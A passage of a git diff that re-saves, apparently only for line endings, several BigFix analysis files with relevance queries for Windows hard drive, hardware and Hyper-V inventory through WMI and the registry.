-    <Property ID="5" Name="PredictFailure?" EvaluationPeriod="PT6H">if(not exists (select objects &quot;* from MSStorageDriver_FailurePredictStatus&quot; of wmi &quot;root\WMI&quot;) whose(string value of property &quot;PredictFailure&quot; of it as boolean = TRUE)) then &quot;&lt;no failures predicted&gt;&quot; else concatenation &quot;,&quot; of (string value of property &quot;PredictFailure&quot; of it &amp; &quot; - &quot; &amp; string value of property &quot;InstanceName&quot; of it) of (select objects &quot;* from MSStorageDriver_FailurePredictStatus&quot; of wmi &quot;root\WMI&quot;) whose(string value of property &quot;PredictFailure&quot; of it as boolean = TRUE)</Property>
-    <Property ID="6" Name="Partitions 4k aligned?" EvaluationPeriod="P1D">not disjunction of ((following text of first &quot;=&quot; of (property &quot;StartingOffset&quot; of it as string) as integer mod 4096) != 0) of select objects &quot;* from Win32_DiskPartition&quot; of wmi</Property>
-    <Property ID="7" Name="Partition Block Size" EvaluationPeriod="P1D">concatenation &quot;,&quot; of unique values of (following text of first &quot;=&quot; of (property &quot;BlockSize&quot; of it as string)) of select objects &quot;* from Win32_DiskPartition&quot; of wmi</Property>
-    <Property ID="8" Name="Size of PageFile?" EvaluationPeriod="PT6H">(if (0&lt;(it / (1024*1024*1024*1024))) then (it / (1024*1024*1024*1024)) as string &amp; &quot; TB&quot; else if (0&lt;(it / (1024*1024*1024))) then (it / (1024*1024*1024)) as string &amp; &quot; GB&quot; else if (0&lt;(it / (1024*1024))) then (it / (1024*1024)) as string &amp; &quot; MB&quot; else if (0&lt;(it / (1024))) then (it / (1024)) as string &amp; &quot; KB&quot; else (it as string &amp; &quot; B&quot;)) of (size of file &quot;c:\pagefile.sys&quot;)</Property>
-    <Property ID="9" Name="Size of HiberFil?" EvaluationPeriod="P1D">if(not exists file &quot;c:\hiberfil.sys&quot;) then nothing else ((if (0&lt;(it / (1024*1024*1024*1024))) then (it / (1024*1024*1024*1024)) as string &amp; &quot; TB&quot; else if (0&lt;(it / (1024*1024*1024))) then (it / (1024*1024*1024)) as string &amp; &quot; GB&quot; else if (0&lt;(it / (1024*1024))) then (it / (1024*1024)) as string &amp; &quot; MB&quot; else if (0&lt;(it / (1024))) then (it / (1024)) as string &amp; &quot; KB&quot; else (it as string &amp; &quot; B&quot;)) of (size of file &quot;c:\hiberfil.sys&quot;))</Property>
-    <Property ID="10" Name="Size of Dell folder?" EvaluationPeriod="P1D">if not exists (folder &quot;dell&quot; of drive of system folder) then nothing else ((if (0&lt;(it / (1024*1024*1024*1024))) then (it / (1024*1024*1024*1024)) as string &amp; &quot; TB&quot; else if (0&lt;(it / (1024*1024*1024))) then (it / (1024*1024*1024)) as string &amp; &quot; GB&quot; else if (0&lt;(it / (1024*1024))) then (it / (1024*1024)) as string &amp; &quot; MB&quot; else if (0&lt;(it / (1024))) then (it / (1024)) as string &amp; &quot; KB&quot; else (it as string &amp; &quot; B&quot;)) of (sum of sizes of descendants of folder &quot;dell&quot; of drive of system folder))</Property>
-    <Property ID="14" Name="Drive Firmware" EvaluationPeriod="P1D">if (exists wmi) then (concatenation &quot;; &quot; of ((string value of property &quot;Model&quot; of it, string value of property &quot;FirmwareRevision&quot; of it) of select objects &quot;Model, FirmwareRevision from Win32_DiskDrive&quot; of wmi as string)) else &quot;n/a&quot;</Property>
-    <Property ID="16" Name="Size of TEM dl cache" EvaluationPeriod="P1D">if exists (folder &quot;__BESData\__Global\__Cache\Downloads&quot; of parent folder of regapp &quot;Besclient.exe&quot;) then ((if (0&lt;(it / (1024*1024*1024*1024))) then (it / (1024*1024*1024*1024)) as string &amp; &quot; TB&quot; else if (0&lt;(it / (1024*1024*1024))) then (it / (1024*1024*1024)) as string &amp; &quot; GB&quot; else if (0&lt;(it / (1024*1024))) then (it / (1024*1024)) as string &amp; &quot; MB&quot; else if (0&lt;(it / (1024))) then (it / (1024)) as string &amp; &quot; KB&quot; else (it as string &amp; &quot; B&quot;)) of (sum of sizes of descendants of folder &quot;__BESData\__Global\__Cache\Downloads&quot; of parent folder of regapp &quot;Besclient.exe&quot;)) else ERROR &quot;none&quot;</Property>
-    <Property ID="18" Name="Size of Temp folder?" EvaluationPeriod="P1D">if exists (folder &quot;temp&quot; of drive of system folder) then ((if (0&lt;(it / (1024*1024*1024*1024))) then (it / (1024*1024*1024*1024)) as string &amp; &quot; TB&quot; else if (0&lt;(it / (1024*1024*1024))) then (it / (1024*1024*1024)) as string &amp; &quot; GB&quot; else if (0&lt;(it / (1024*1024))) then (it / (1024*1024)) as string &amp; &quot; MB&quot; else if (0&lt;(it / (1024))) then (it / (1024)) as string &amp; &quot; KB&quot; else (it as string &amp; &quot; B&quot;)) of (sum of sizes of descendants of folder &quot;temp&quot; of drive of system folder)) else ERROR &quot;no Temp Dir&quot;</Property>
-    <Property ID="19" Name="TRIM disabled?" EvaluationPeriod="PT6H">value &quot;DisableDeleteNotification&quot; of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem&quot; of native registry</Property>
-    <Property ID="20" Name="IDF Temp Size?" EvaluationPeriod="PT6H">if ((exists folder &quot;users&quot; of drive of system folder) AND (exists folders whose (exists folder &quot;AppData\Local\Temp\Identity Finder&quot; of it) of folder &quot;users&quot; of drive of system folder)) then (sum of sizes of descendants of folders &quot;AppData\Local\Temp\Identity Finder&quot; of folders whose (exists folder &quot;AppData\Local\Temp\Identity Finder&quot; of it) of folder &quot;users&quot; of drive of system folder) else ERROR &quot;No IDF temp&quot;</Property>
-    <Property ID="21" Name="Desc &amp; Loc" EvaluationPeriod="P2D">(friendly name of it &amp;&quot; - &quot;&amp; location information of it) of active devices whose(class of it = &quot;DiskDrive&quot;)</Property>
-    <Property ID="22" Name="Largest Desktop Folder" EvaluationPeriod="P2D">(pathname of it, sum of sizes of descendants of it) of folders &quot;Desktop&quot; whose(sum of sizes of descendants of it = maximum of (sum of sizes of descendants of it) of folders &quot;Desktop&quot; of folders of (folder &quot;c:\documents and settings&quot; of it | folder &quot;users&quot; of it) of drive of system folder) of folders of (folder &quot;c:\documents and settings&quot; of it | folder &quot;users&quot; of it) of drive of system folder</Property>
-    <Property ID="23" Name="Raw Size of Disks" EvaluationPeriod="P2D">((it as integer) of string values of selects &quot;Size from Win32_DiskDrive WHERE size!=&apos;&apos; &quot; of wmi)</Property>
-    <Property ID="24" Name="Raw Size of SystemDrive" EvaluationPeriod="P2D">((it as integer) of string values of selects &quot;Size from Win32_DiskDrive WHERE Index=0 AND size!=&apos;&apos; &quot; of wmi)</Property>
-    <Property ID="25" Name="Names of failing drives" EvaluationPeriod="P2D">(string values of selects &quot;Caption from Win32_DiskDrive WHERE Status!=&apos;OK&apos;&quot; of wmi)</Property>
-  </Analysis>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Hard Drive Audit - Windows
+  ID       : 2994706
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2014-08-15T12:30:58
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Hard Drive Audit - Windows</Title>
+    <Description><![CDATA[<P>This analysis will report on various windows specific aspects of the hard drives in a system.&nbsp;Found here:&nbsp;<A href="http://bigfix.me/cdb/analysis/2994527"><FONT color=#000080>http://bigfix.me/cdb/analysis/2994527</FONT></A></P>
+<P>This is meant to supliment the analysis "Hard Drive Audit - Universal" :&nbsp; <A href="http://bigfix.me/cdb/analysis/2994530">http://bigfix.me/cdb/analysis/2994530</A></P>]]></Description>
+    <Relevance><![CDATA[version of client >= "8.0"]]></Relevance>
+    <Relevance><![CDATA[/* Windows XP or later */ version of operating system >= "5.1"]]></Relevance>
+    <Relevance>/* Windows Only */ windows of operating system</Relevance>
+    <Relevance>/* Many, but not all of these properties use WMI */ exists wmi</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Fri, 15 Aug 2014 19:30:17 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="4" Name="Serial Numbers" EvaluationPeriod="P1D">if (exists wmi) then (concatenation &quot;, &quot; of (((substrings after &quot;=&quot; whose(it as trimmed string != &quot;&quot;) of (property &quot;SerialNumber&quot; of it as string)) of select objects &quot;* from win32_PhysicalMedia where SerialNumber != &apos;&apos;&quot; of wmi) as trimmed string)) else &quot;n/a&quot;</Property>
+    <Property ID="5" Name="PredictFailure?" EvaluationPeriod="PT6H">if(not exists (select objects &quot;* from MSStorageDriver_FailurePredictStatus&quot; of wmi &quot;root\WMI&quot;) whose(string value of property &quot;PredictFailure&quot; of it as boolean = TRUE)) then &quot;&lt;no failures predicted&gt;&quot; else concatenation &quot;,&quot; of (string value of property &quot;PredictFailure&quot; of it &amp; &quot; - &quot; &amp; string value of property &quot;InstanceName&quot; of it) of (select objects &quot;* from MSStorageDriver_FailurePredictStatus&quot; of wmi &quot;root\WMI&quot;) whose(string value of property &quot;PredictFailure&quot; of it as boolean = TRUE)</Property>
+    <Property ID="6" Name="Partitions 4k aligned?" EvaluationPeriod="P1D">not disjunction of ((following text of first &quot;=&quot; of (property &quot;StartingOffset&quot; of it as string) as integer mod 4096) != 0) of select objects &quot;* from Win32_DiskPartition&quot; of wmi</Property>
+    <Property ID="7" Name="Partition Block Size" EvaluationPeriod="P1D">concatenation &quot;,&quot; of unique values of (following text of first &quot;=&quot; of (property &quot;BlockSize&quot; of it as string)) of select objects &quot;* from Win32_DiskPartition&quot; of wmi</Property>
+    <Property ID="8" Name="Size of PageFile?" EvaluationPeriod="PT6H">(if (0&lt;(it / (1024*1024*1024*1024))) then (it / (1024*1024*1024*1024)) as string &amp; &quot; TB&quot; else if (0&lt;(it / (1024*1024*1024))) then (it / (1024*1024*1024)) as string &amp; &quot; GB&quot; else if (0&lt;(it / (1024*1024))) then (it / (1024*1024)) as string &amp; &quot; MB&quot; else if (0&lt;(it / (1024))) then (it / (1024)) as string &amp; &quot; KB&quot; else (it as string &amp; &quot; B&quot;)) of (size of file &quot;c:\pagefile.sys&quot;)</Property>
+    <Property ID="9" Name="Size of HiberFil?" EvaluationPeriod="P1D">if(not exists file &quot;c:\hiberfil.sys&quot;) then nothing else ((if (0&lt;(it / (1024*1024*1024*1024))) then (it / (1024*1024*1024*1024)) as string &amp; &quot; TB&quot; else if (0&lt;(it / (1024*1024*1024))) then (it / (1024*1024*1024)) as string &amp; &quot; GB&quot; else if (0&lt;(it / (1024*1024))) then (it / (1024*1024)) as string &amp; &quot; MB&quot; else if (0&lt;(it / (1024))) then (it / (1024)) as string &amp; &quot; KB&quot; else (it as string &amp; &quot; B&quot;)) of (size of file &quot;c:\hiberfil.sys&quot;))</Property>
+    <Property ID="10" Name="Size of Dell folder?" EvaluationPeriod="P1D">if not exists (folder &quot;dell&quot; of drive of system folder) then nothing else ((if (0&lt;(it / (1024*1024*1024*1024))) then (it / (1024*1024*1024*1024)) as string &amp; &quot; TB&quot; else if (0&lt;(it / (1024*1024*1024))) then (it / (1024*1024*1024)) as string &amp; &quot; GB&quot; else if (0&lt;(it / (1024*1024))) then (it / (1024*1024)) as string &amp; &quot; MB&quot; else if (0&lt;(it / (1024))) then (it / (1024)) as string &amp; &quot; KB&quot; else (it as string &amp; &quot; B&quot;)) of (sum of sizes of descendants of folder &quot;dell&quot; of drive of system folder))</Property>
+    <Property ID="14" Name="Drive Firmware" EvaluationPeriod="P1D">if (exists wmi) then (concatenation &quot;; &quot; of ((string value of property &quot;Model&quot; of it, string value of property &quot;FirmwareRevision&quot; of it) of select objects &quot;Model, FirmwareRevision from Win32_DiskDrive&quot; of wmi as string)) else &quot;n/a&quot;</Property>
+    <Property ID="16" Name="Size of TEM dl cache" EvaluationPeriod="P1D">if exists (folder &quot;__BESData\__Global\__Cache\Downloads&quot; of parent folder of regapp &quot;Besclient.exe&quot;) then ((if (0&lt;(it / (1024*1024*1024*1024))) then (it / (1024*1024*1024*1024)) as string &amp; &quot; TB&quot; else if (0&lt;(it / (1024*1024*1024))) then (it / (1024*1024*1024)) as string &amp; &quot; GB&quot; else if (0&lt;(it / (1024*1024))) then (it / (1024*1024)) as string &amp; &quot; MB&quot; else if (0&lt;(it / (1024))) then (it / (1024)) as string &amp; &quot; KB&quot; else (it as string &amp; &quot; B&quot;)) of (sum of sizes of descendants of folder &quot;__BESData\__Global\__Cache\Downloads&quot; of parent folder of regapp &quot;Besclient.exe&quot;)) else ERROR &quot;none&quot;</Property>
+    <Property ID="18" Name="Size of Temp folder?" EvaluationPeriod="P1D">if exists (folder &quot;temp&quot; of drive of system folder) then ((if (0&lt;(it / (1024*1024*1024*1024))) then (it / (1024*1024*1024*1024)) as string &amp; &quot; TB&quot; else if (0&lt;(it / (1024*1024*1024))) then (it / (1024*1024*1024)) as string &amp; &quot; GB&quot; else if (0&lt;(it / (1024*1024))) then (it / (1024*1024)) as string &amp; &quot; MB&quot; else if (0&lt;(it / (1024))) then (it / (1024)) as string &amp; &quot; KB&quot; else (it as string &amp; &quot; B&quot;)) of (sum of sizes of descendants of folder &quot;temp&quot; of drive of system folder)) else ERROR &quot;no Temp Dir&quot;</Property>
+    <Property ID="19" Name="TRIM disabled?" EvaluationPeriod="PT6H">value &quot;DisableDeleteNotification&quot; of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem&quot; of native registry</Property>
+    <Property ID="20" Name="IDF Temp Size?" EvaluationPeriod="PT6H">if ((exists folder &quot;users&quot; of drive of system folder) AND (exists folders whose (exists folder &quot;AppData\Local\Temp\Identity Finder&quot; of it) of folder &quot;users&quot; of drive of system folder)) then (sum of sizes of descendants of folders &quot;AppData\Local\Temp\Identity Finder&quot; of folders whose (exists folder &quot;AppData\Local\Temp\Identity Finder&quot; of it) of folder &quot;users&quot; of drive of system folder) else ERROR &quot;No IDF temp&quot;</Property>
+    <Property ID="21" Name="Desc &amp; Loc" EvaluationPeriod="P2D">(friendly name of it &amp;&quot; - &quot;&amp; location information of it) of active devices whose(class of it = &quot;DiskDrive&quot;)</Property>
+    <Property ID="22" Name="Largest Desktop Folder" EvaluationPeriod="P2D">(pathname of it, sum of sizes of descendants of it) of folders &quot;Desktop&quot; whose(sum of sizes of descendants of it = maximum of (sum of sizes of descendants of it) of folders &quot;Desktop&quot; of folders of (folder &quot;c:\documents and settings&quot; of it | folder &quot;users&quot; of it) of drive of system folder) of folders of (folder &quot;c:\documents and settings&quot; of it | folder &quot;users&quot; of it) of drive of system folder</Property>
+    <Property ID="23" Name="Raw Size of Disks" EvaluationPeriod="P2D">((it as integer) of string values of selects &quot;Size from Win32_DiskDrive WHERE size!=&apos;&apos; &quot; of wmi)</Property>
+    <Property ID="24" Name="Raw Size of SystemDrive" EvaluationPeriod="P2D">((it as integer) of string values of selects &quot;Size from Win32_DiskDrive WHERE Index=0 AND size!=&apos;&apos; &quot; of wmi)</Property>
+    <Property ID="25" Name="Names of failing drives" EvaluationPeriod="P2D">(string values of selects &quot;Caption from Win32_DiskDrive WHERE Status!=&apos;OK&apos;&quot; of wmi)</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Hardware - Windows (2998512).bes b/Sites/Windows Management/Fixlets/Analyses/Hardware - Windows (2998512).bes
index 3fe38f5b5..81c904eb4 100644
--- a/Sites/Windows Management/Fixlets/Analyses/Hardware - Windows (2998512).bes	
+++ b/Sites/Windows Management/Fixlets/Analyses/Hardware - Windows (2998512).bes	
@@ -1,37 +1,37 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Analysis Export
-
-  Title    : Hardware - Windows
-  ID       : 2998512
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2017-01-30T09:15:30
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Analysis>
-    <Title>Hardware - Windows</Title>
-    <Description><![CDATA[Provides hardware information on Windows
-<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>NOT in proxy agent context</Relevance>
-    <Domain>BESC</Domain>
-    <Property ID="1" Name="Hardware - Manufacturer - Windows" EvaluationPeriod="P1D">string value of select &quot;Manufacturer from Win32_ComputerSystem&quot; of wmi</Property>
-    <Property ID="3" Name="Hardware - Service Tag - Windows" EvaluationPeriod="P1D">string values of selects &quot;IdentifyingNumber from Win32_ComputerSystemProduct&quot; of wmi</Property>
-    <Property ID="12" Name="Hardware - Video Adapaters - Windows" EvaluationPeriod="P1D">string values of selects &quot;Name from Win32_VideoController&quot; of wmi</Property>
-    <Property ID="13" Name="Hardware - Sound Device - Windows" EvaluationPeriod="P1D">string values of selects &quot;Name from Win32_SoundDevice&quot; of wmi</Property>
-    <Property ID="19" Name="Hardware - Monitors - Windows" EvaluationPeriod="P1D">number of active devices whose(class of it = &quot;Monitor&quot;)</Property>
-    <Property ID="20" Name="Hardware - Hard Drives - Windows" EvaluationPeriod="P1D">string values of selects &quot;Caption from Win32_DiskDrive&quot; of wmi</Property>
-    <Property ID="21" Name="Hardware - Hard Drive Count - Windows" EvaluationPeriod="P1D">number of string values of selects &quot;Caption from Win32_DiskDrive&quot; of wmi</Property>
-    <Property ID="23" Name="Hardware - Monitors - Windows" EvaluationPeriod="P1D">descriptions of active devices whose (class of it = &quot;Monitor&quot;)</Property>
-    <Property ID="24" Name="Hardware - Monitor Count - Windows" EvaluationPeriod="P1D">number of active devices whose(class of it = &quot;Monitor&quot;)</Property>
-    <Property ID="25" Name="Hardware - CD Rom Drives - Windows" EvaluationPeriod="P1D">string values of selects &quot;Caption from Win32_CDROMDrive&quot; of wmi</Property>
-    <Property ID="26" Name="Hardware - CD Rom Drive Count - Windows" EvaluationPeriod="P1D">number of string values of selects &quot;Caption from Win32_CDROMDrive&quot; of wmi</Property>
-    <Property ID="27" Name="Hardware - Monitor Resolution - Windows" EvaluationPeriod="P1D">if (exists select &quot;VideoModeDescription from Win32_VideoController&quot; whose (type of it = 8)  of wmi) then (preceding texts of lasts &quot; x&quot; of (string values of selects &quot;VideoModeDescription from Win32_VideoController&quot; whose (type of it = 8) of wmi)) else (&quot;N/A&quot;)</Property>
-    <Property ID="28" Name="Hardware - RAM Maximum Installable - Windows" EvaluationPeriod="P1D">((it as integer/1024) as string &amp; &quot; MB&quot;) of (string values of selects &quot;MaxCapacity from Win32_PhysicalMemoryArray where Use=&apos;3&apos;&quot; of wmi)</Property>
-    <Property ID="29" Name="Hardware - In Error State - Windows" EvaluationPeriod="PT1H">(description of it | friendly name of it, problem id of it) of active devices whose (exist problem id of it)</Property>
-    <Property ID="30" Name="Hardware - CD Rom Drives Loaded - Windows" EvaluationPeriod="PT12H">number of string values of selects &quot;Caption from Win32_CDROMDrive where MediaLoaded=True&quot; of wmi</Property>
-    <Property ID="31" Name="Hardware - Hard Drives Offline - Windows" EvaluationPeriod="PT1H">string values of properties &quot;FriendlyName&quot; of select objects &quot;* from MSFT_Disk where IsOffline=True&quot; of wmis &quot;ROOT/Microsoft/Windows/Storage&quot;</Property>
-  </Analysis>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Hardware - Windows
+  ID       : 2998512
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2017-01-30T09:15:30
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Hardware - Windows</Title>
+    <Description><![CDATA[Provides hardware information on Windows
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>NOT in proxy agent context</Relevance>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="Hardware - Manufacturer - Windows" EvaluationPeriod="P1D">string value of select &quot;Manufacturer from Win32_ComputerSystem&quot; of wmi</Property>
+    <Property ID="3" Name="Hardware - Service Tag - Windows" EvaluationPeriod="P1D">string values of selects &quot;IdentifyingNumber from Win32_ComputerSystemProduct&quot; of wmi</Property>
+    <Property ID="12" Name="Hardware - Video Adapaters - Windows" EvaluationPeriod="P1D">string values of selects &quot;Name from Win32_VideoController&quot; of wmi</Property>
+    <Property ID="13" Name="Hardware - Sound Device - Windows" EvaluationPeriod="P1D">string values of selects &quot;Name from Win32_SoundDevice&quot; of wmi</Property>
+    <Property ID="19" Name="Hardware - Monitors - Windows" EvaluationPeriod="P1D">number of active devices whose(class of it = &quot;Monitor&quot;)</Property>
+    <Property ID="20" Name="Hardware - Hard Drives - Windows" EvaluationPeriod="P1D">string values of selects &quot;Caption from Win32_DiskDrive&quot; of wmi</Property>
+    <Property ID="21" Name="Hardware - Hard Drive Count - Windows" EvaluationPeriod="P1D">number of string values of selects &quot;Caption from Win32_DiskDrive&quot; of wmi</Property>
+    <Property ID="23" Name="Hardware - Monitors - Windows" EvaluationPeriod="P1D">descriptions of active devices whose (class of it = &quot;Monitor&quot;)</Property>
+    <Property ID="24" Name="Hardware - Monitor Count - Windows" EvaluationPeriod="P1D">number of active devices whose(class of it = &quot;Monitor&quot;)</Property>
+    <Property ID="25" Name="Hardware - CD Rom Drives - Windows" EvaluationPeriod="P1D">string values of selects &quot;Caption from Win32_CDROMDrive&quot; of wmi</Property>
+    <Property ID="26" Name="Hardware - CD Rom Drive Count - Windows" EvaluationPeriod="P1D">number of string values of selects &quot;Caption from Win32_CDROMDrive&quot; of wmi</Property>
+    <Property ID="27" Name="Hardware - Monitor Resolution - Windows" EvaluationPeriod="P1D">if (exists select &quot;VideoModeDescription from Win32_VideoController&quot; whose (type of it = 8)  of wmi) then (preceding texts of lasts &quot; x&quot; of (string values of selects &quot;VideoModeDescription from Win32_VideoController&quot; whose (type of it = 8) of wmi)) else (&quot;N/A&quot;)</Property>
+    <Property ID="28" Name="Hardware - RAM Maximum Installable - Windows" EvaluationPeriod="P1D">((it as integer/1024) as string &amp; &quot; MB&quot;) of (string values of selects &quot;MaxCapacity from Win32_PhysicalMemoryArray where Use=&apos;3&apos;&quot; of wmi)</Property>
+    <Property ID="29" Name="Hardware - In Error State - Windows" EvaluationPeriod="PT1H">(description of it | friendly name of it, problem id of it) of active devices whose (exist problem id of it)</Property>
+    <Property ID="30" Name="Hardware - CD Rom Drives Loaded - Windows" EvaluationPeriod="PT12H">number of string values of selects &quot;Caption from Win32_CDROMDrive where MediaLoaded=True&quot; of wmi</Property>
+    <Property ID="31" Name="Hardware - Hard Drives Offline - Windows" EvaluationPeriod="PT1H">string values of properties &quot;FriendlyName&quot; of select objects &quot;* from MSFT_Disk where IsOffline=True&quot; of wmis &quot;ROOT/Microsoft/Windows/Storage&quot;</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Hyper-V Guest - Windows (2998484).bes b/Sites/Windows Management/Fixlets/Analyses/Hyper-V Guest - Windows (2998484).bes
index 083b73899..8599e7f8b 100644
--- a/Sites/Windows Management/Fixlets/Analyses/Hyper-V Guest - Windows (2998484).bes	
+++ b/Sites/Windows Management/Fixlets/Analyses/Hyper-V Guest - Windows (2998484).bes	
@@ -1,25 +1,25 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Analysis Export
-
-  Title    : Hyper-V Guest - Windows
-  ID       : 2998484
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2016-11-11T17:08:05
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Analysis>
-    <Title>Hyper-V Guest - Windows</Title>
-    <Description><![CDATA[Provides information on the Hyper-V Guest. This is information inside of the Virtual Machine like the ID, the Display Name and the Physical host the virtual machine is running on.
-<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>((value &quot;manufacturer&quot; of structure &quot;system_information&quot; of smbios as string) contains &quot;Microsoft&quot;)</Relevance>
-    <Relevance><![CDATA[(if ((version of client < "8.0") or (if (windows of operating system) then (platform id of operating system = 3) else false) or (if (version of client >= "8.2.1078.0") then in proxy agent context else false)) then "N/A" else (if exists true whose (if true then( (((item 0 of it contains "VMware") or ((item 0 of it contains "Microsoft") and not (item 1 of it as lowercase contains "surface")) or (item 0 of it contains "Xen")) of ((value "manufacturer" of it as string, value "product_name" of it as string) of structure "system_information" of smbios))) else false) then "Virtual" else "Physical")) = "Virtual"]]></Relevance>
-    <Domain>BESC</Domain>
-    <Property ID="1" Name="Hyper-V Guest - ID - Windows" EvaluationPeriod="P1D">value &quot;VirtualMachineId&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Virtual Machine\Guest\Parameters&quot; of native registry</Property>
-    <Property ID="2" Name="Hyper-V Guest - Display Name - Windows" EvaluationPeriod="P1D">value &quot;VirtualMachineName&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Virtual Machine\Guest\Parameters&quot; of native registry</Property>
-    <Property ID="3" Name="Hyper-V Guest - Physical Host - Windows" EvaluationPeriod="P1D">value &quot;PhysicalHostNameFullyQualified&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Virtual Machine\Guest\Parameters&quot; of native registry</Property>
-  </Analysis>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Hyper-V Guest - Windows
+  ID       : 2998484
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-11-11T17:08:05
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Hyper-V Guest - Windows</Title>
+    <Description><![CDATA[Provides information on the Hyper-V Guest. This is information inside of the Virtual Machine like the ID, the Display Name and the Physical host the virtual machine is running on.
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>((value &quot;manufacturer&quot; of structure &quot;system_information&quot; of smbios as string) contains &quot;Microsoft&quot;)</Relevance>
+    <Relevance><![CDATA[(if ((version of client < "8.0") or (if (windows of operating system) then (platform id of operating system = 3) else false) or (if (version of client >= "8.2.1078.0") then in proxy agent context else false)) then "N/A" else (if exists true whose (if true then( (((item 0 of it contains "VMware") or ((item 0 of it contains "Microsoft") and not (item 1 of it as lowercase contains "surface")) or (item 0 of it contains "Xen")) of ((value "manufacturer" of it as string, value "product_name" of it as string) of structure "system_information" of smbios))) else false) then "Virtual" else "Physical")) = "Virtual"]]></Relevance>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="Hyper-V Guest - ID - Windows" EvaluationPeriod="P1D">value &quot;VirtualMachineId&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Virtual Machine\Guest\Parameters&quot; of native registry</Property>
+    <Property ID="2" Name="Hyper-V Guest - Display Name - Windows" EvaluationPeriod="P1D">value &quot;VirtualMachineName&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Virtual Machine\Guest\Parameters&quot; of native registry</Property>
+    <Property ID="3" Name="Hyper-V Guest - Physical Host - Windows" EvaluationPeriod="P1D">value &quot;PhysicalHostNameFullyQualified&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Virtual Machine\Guest\Parameters&quot; of native registry</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Hyper-V Host - Windows (2998252).bes b/Sites/Windows Management/Fixlets/Analyses/Hyper-V Host - Windows (2998252).bes
index 5791b1fd5..421c3db92 100644
--- a/Sites/Windows Management/Fixlets/Analyses/Hyper-V Host - Windows (2998252).bes	
+++ b/Sites/Windows Management/Fixlets/Analyses/Hyper-V Host - Windows (2998252).bes	
@@ -1,23 +1,23 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Analysis Export
-
-  Title    : Hyper-V Host - Windows
-  ID       : 2998252
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2016-07-19T17:52:00
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Analysis>
-    <Title>Hyper-V Host - Windows</Title>
-    <Description><![CDATA[Provides information on the virtual machines and switches configured&nbsp;on the Hyper-V Server
-<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>exists service &quot;vmcompute&quot;</Relevance>
-    <Domain>BESC</Domain>
-    <Property ID="1" Name="Hyper-V - Virtual Switches - Windows" EvaluationPeriod="P1D">(value &quot;FriendlyName&quot; of it as string, name of it as string) of keys of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\vmsmp\parameters\SwitchList&quot; of native registry</Property>
